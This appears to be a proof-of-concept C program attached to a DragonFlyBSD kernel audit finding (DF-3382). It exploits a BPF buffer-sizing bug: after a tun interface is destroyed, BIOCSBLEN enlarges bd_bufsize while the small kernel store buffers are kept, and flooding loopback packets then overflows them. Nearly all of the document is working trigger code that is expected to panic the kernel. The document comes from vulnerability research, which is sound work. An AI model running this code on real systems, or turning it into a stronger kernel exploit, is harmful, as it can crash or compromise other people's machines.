⬢ DragonFlyBSD Kernel Audit
DF-3382 / trigger.c
← back to finding ↓ download raw
/*
 * DF-3382 PoC — stale undersized store buffers after interface destroy +
 * BIOCSBLEN resize.  bpfclose/BIOCSBLEN guard on bd_bif, bpf_setif guards
 * allocation on bd_sbuf only, so after bpfdetach() (bd_bif=NULL, buffers
 * retained) BIOCSBLEN can raise bd_bufsize while the kmalloc'd buffers stay
 * small; the next BIOCSETIF skips bpf_allocbufs() and catchpacket() then
 * writes up to bd_bufsize bytes into the old allocation.
 *
 * Prereq (root, run in pack dir):  sh setup.sh   # kldload if_tun; create tun0
 * Run:  ./trigger
 *
 * Expected: panic after ~3 loopback packets (store buffer 4096 bytes,
 * bd_bufsize 512KiB).
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <net/bpf.h>
#include <net/if.h>
#include <netinet/in.h>
#include <err.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static void
flood_loopback(int n)
{
	struct sockaddr_in sin;
	char pkt[1400];
	int s, i;

	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0)
		err(1, "socket");
	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_port = htons(9998);
	sin.sin_addr.s_addr = htonl(0x7f000001);
	memset(pkt, 0x41, sizeof(pkt));
	for (i = 0; i < n; i++) {
		if (sendto(s, pkt, sizeof(pkt), 0,
			   (struct sockaddr *)&sin, sizeof(sin)) < 0)
			err(1, "sendto");
		if ((i % 16) == 0) {
			printf("[+] sent %d/%d\n", i, n);
			fflush(stdout);
		}
	}
	close(s);
}

static void
bindif(int fd, const char *name)
{
	struct ifreq ifr;

	memset(&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));
	if (ioctl(fd, BIOCSETIF, &ifr) < 0)
		err(1, "BIOCSETIF(%s)", name);
}

int
main(void)
{
	u_int blen = 0x80000;
	u_int one = 1;
	int fd;

	fd = open("/dev/bpf1", O_RDWR);
	if (fd < 0)
		err(1, "open /dev/bpf1");

	printf("[+] binding to tun0 (allocates 4096-byte buffers)\n");
	bindif(fd, "tun0");

	printf("[+] destroying tun0 now (root, from shell helper)\n");
	fflush(stdout);
	if (system("ifconfig tun0 destroy") != 0)
		errx(1, "ifconfig tun0 destroy failed");
	printf("[+] tun0 destroyed; bd_bif==NULL, bd_sbuf still allocated\n");
	fflush(stdout);

	if (ioctl(fd, BIOCSBLEN, &blen) < 0)
		err(1, "BIOCSBLEN");
	printf("[+] BIOCSBLEN -> %u (buffers still 4096!)\n", blen);
	ioctl(fd, BIOCIMMEDIATE, &one);

	printf("[+] rebinding to lo0 (bpf_setif skips bpf_allocbufs)\n");
	bindif(fd, "lo0");

	printf("[+] flooding loopback: each packet appends ~1.4KiB to a "
	       "4096-byte store buffer with bd_bufsize=%u\n", blen);
	fflush(stdout);
	flood_loopback(512);
	printf("[-] survived\n");
	return (0);
}